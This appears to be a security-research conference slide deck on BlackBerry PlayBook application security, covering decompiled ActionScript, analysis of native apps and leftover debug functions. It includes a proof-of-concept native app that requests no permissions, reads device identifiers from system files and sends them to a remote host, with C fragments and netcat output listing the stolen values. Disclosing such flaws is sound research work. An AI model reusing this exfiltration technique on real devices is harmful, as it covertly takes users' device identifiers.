    LocaleManager.localeManager.addEventListener(Event.CHANGE, this.localeManagerChangeHandler);
    stage.scaleMode = StageScaleMode.NO_SCALE;
    stage.stageFocusRect = false;
    stage.align = StageAlign.TOP_LEFT;
    stage.addEventListener(Event.RESIZE, this.stageResizeHandler);
    width = stage.stageWidth;
    height = stage.stageHeight;
    validate();
    return;
}
package com.rim.softwareupdate.installer.application
{
    import __AS3__.vec.*;
    import flash.events.*;
    import qnx.events.*;
    import qnx.pps.*;

    public class InstalledApplications extends EventDispatcher {
        protected var apppps:PPS;
        protected var ospps:PPS;
        protected var nvramPPS:PPS;
        protected var data:Object;
        protected var hasAppData:Boolean = false;
        protected var hasOSData:Boolean = false;
        protected var osregion:NvRamOSregion;
        private var _applications:Vector;

        public static const REG_APPS_PPS_PATH:String = "/pps/system/installer/registeredapps/.all";
        public static const REG_OS_PPS_PATH:String = "/pps/system/installer/coreos/";
        public static const OS_REGION_PPS_PATH:String = "/pps/system/nvram/osregion";

        public function InstalledApplications() {
            trace("InstalledApplications::InstalledApplications()")
            return;
        }
    }
}
Native Applications

- ARM-compiled ELF
- IDA Pro, objdump, nm, etc
- "Where it's at"
Native app issues?

- Memory management
- Less visibility
- Tougher to audit
- Higher bar of entry - requires more expertise
A quick glance at a native app
It's huge! And non-stripped.
<table>
<thead>
<tr>
<th>Address</th>
<th>Offset</th>
<th>Type</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
<td>00A</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/DL/DeadSpace/dev-qnx/source/application/bullet_support/BulletAllocator.cpp</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/lib/sfx/foreverb/aSfxDsp.cpp</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/os/src/fmod_os_misc.cpp</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod.cpp</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod_async.cpp</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod_autocleanup.h</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod_autocleanup.h</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod_autocleanup.h</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod_autocleanup.h</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod_channelgroupi.cpp</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod_channels.cpp</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod_codec.cpp</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod_codec_aiff.cpp</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod_codec_dls.cpp</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod_codec_flac.cpp</td>
</tr>
<tr>
<td>...</td>
<td>00B</td>
<td>C</td>
<td>H:/10.20.14.22/deadspace_eamt/packages/FMOD/dev/source/src/fmod_codec_fsb.cpp</td>
</tr>
</tbody>
</table>

**Internal EA repository?**
Debug functionality...

```assembly
; Attributes: bp-based frame

; DebugTools::unlockAllAchievements(void)
EXPORT __ZN10DebugTools21unlockAllAchievementsEv
__ZN10DebugTools21unlockAllAchievementsEv

oldR11 = -8
oldLR = -4

STMFD SP†, {R11,LR}
ADD R11, SP, #4
SUB SP, SP, #8
STR R0, [R11,oldR11]
BL __ZN8Settings11getInstanceEv ; Settings::getInstance(void)
MOV R3, R0
MOV R0, R3
BL __ZN8Settings18getAchievementDataEv ; Settings::getAchievementData(void)
```
Debug functionality...

Unlock all the things!
Disclaimer:

NDK Beta licensing/NDAs = restrictive...
so we found another way to build native apps...
so that we can talk about them.

(Hi, RIM)
Packaging native apps without the NDK

- Snag an existing native app, analyze the manifest and config files
- Write C, build in QNX environment
- Create manifest/configs for our app
- Package with the *SDK* provided native packager
- $$$ (CAD or USD, take your pick)
• Native applications request permissions, too
• Our PoC native app requested *zero* permissions, but read the device PIN, and sent it to a remote host
• (This should have required "access_internet" and "read_device_identifying_information")
$ pwd
/pps/system/nvram
$ getfacl *
# file: deviceinfo
# owner: root
# group: nto
user::rw-
group::rw-
group: nto: r--
mask::rw-
other::------

# file: osregion
# owner: root
# group: nto
user::rw-
group::rw-
group: nto: r--
mask::rw-
other::------
system("/bin/cat /pps/system/nvram/.all > /var/tmp/out");
fp = fopen("/var/tmp/out","r");
char *buf;
long len;
fsseek(fp,0,SEEK_END);

send(sock,buf,strlen(buf), 0);
close(sock);
return 0;
$ nc -v -vv -l -p 5555
listening on [any] 5555 ...

connect to [184.93.27.69] from 184.94.27.69.dedicated.mtsallstream.net [184.94.27.69] 65088
@deviceinfo
BSN::1061241707
BTMAC::14741167fab5
BootromBuildUserName::ec_agent
BootromBuildDate::Mar 24 2011
BootromBuildTime::15:31:02
CDMA:n:0
DeviceName::RIM BlackBerry Device
DeviceSerialNumber::134350468562
GUID::
HSPAplus:n:0
HardwareID::0x06001a06
InProduction:b:false
LTE:n:0
MBSerialNumber::PRU2QCI10145004593
PIN::0x
PIN64::0x000000000
SecureDevice:b:true
SystemSerialNumber::DRU2QCI14G0B9E
USBNetMAC1::16741167faad
USBNetMAC2::16741167fab5
VendorId::0x1f8
WIMAX:n:0
WLANMAC::14741167faad
@osregion
ActualBootCount:n:14
ActualBootRegion:n:1
BootStatus::Success.
[n]BootUp::booted
InstallTime:n:0
MaxBootCount:n:0
RequestedBootCount:n:14
RequestedBootRegion:n:1
Version:n:3
Future Direction
What we can expect from RIM

- Tablet OS 2.0
- General release of the NDK
- Dalvik VM
- Native BES/BBM support *
- Cellular models *
- Presumably more market share? *

* don't quote us...
What we can expect from the community

- Enhanced interest as market share picks up
- Repeats of common mobile app issues
- Unmanaged code issues

<@jono> "C is just too dangerous to use"
What we didn't cover

- Bridge
- MORE NDK-specific stuff
- Dalvik VM
Questions / Contact

http://intrepidusgroup.com/

zach.lanier@intrepidusgroup.com | http://twitter.com/quine
ben.nell@intrepidusgroup.com | http://twitter.com/bnull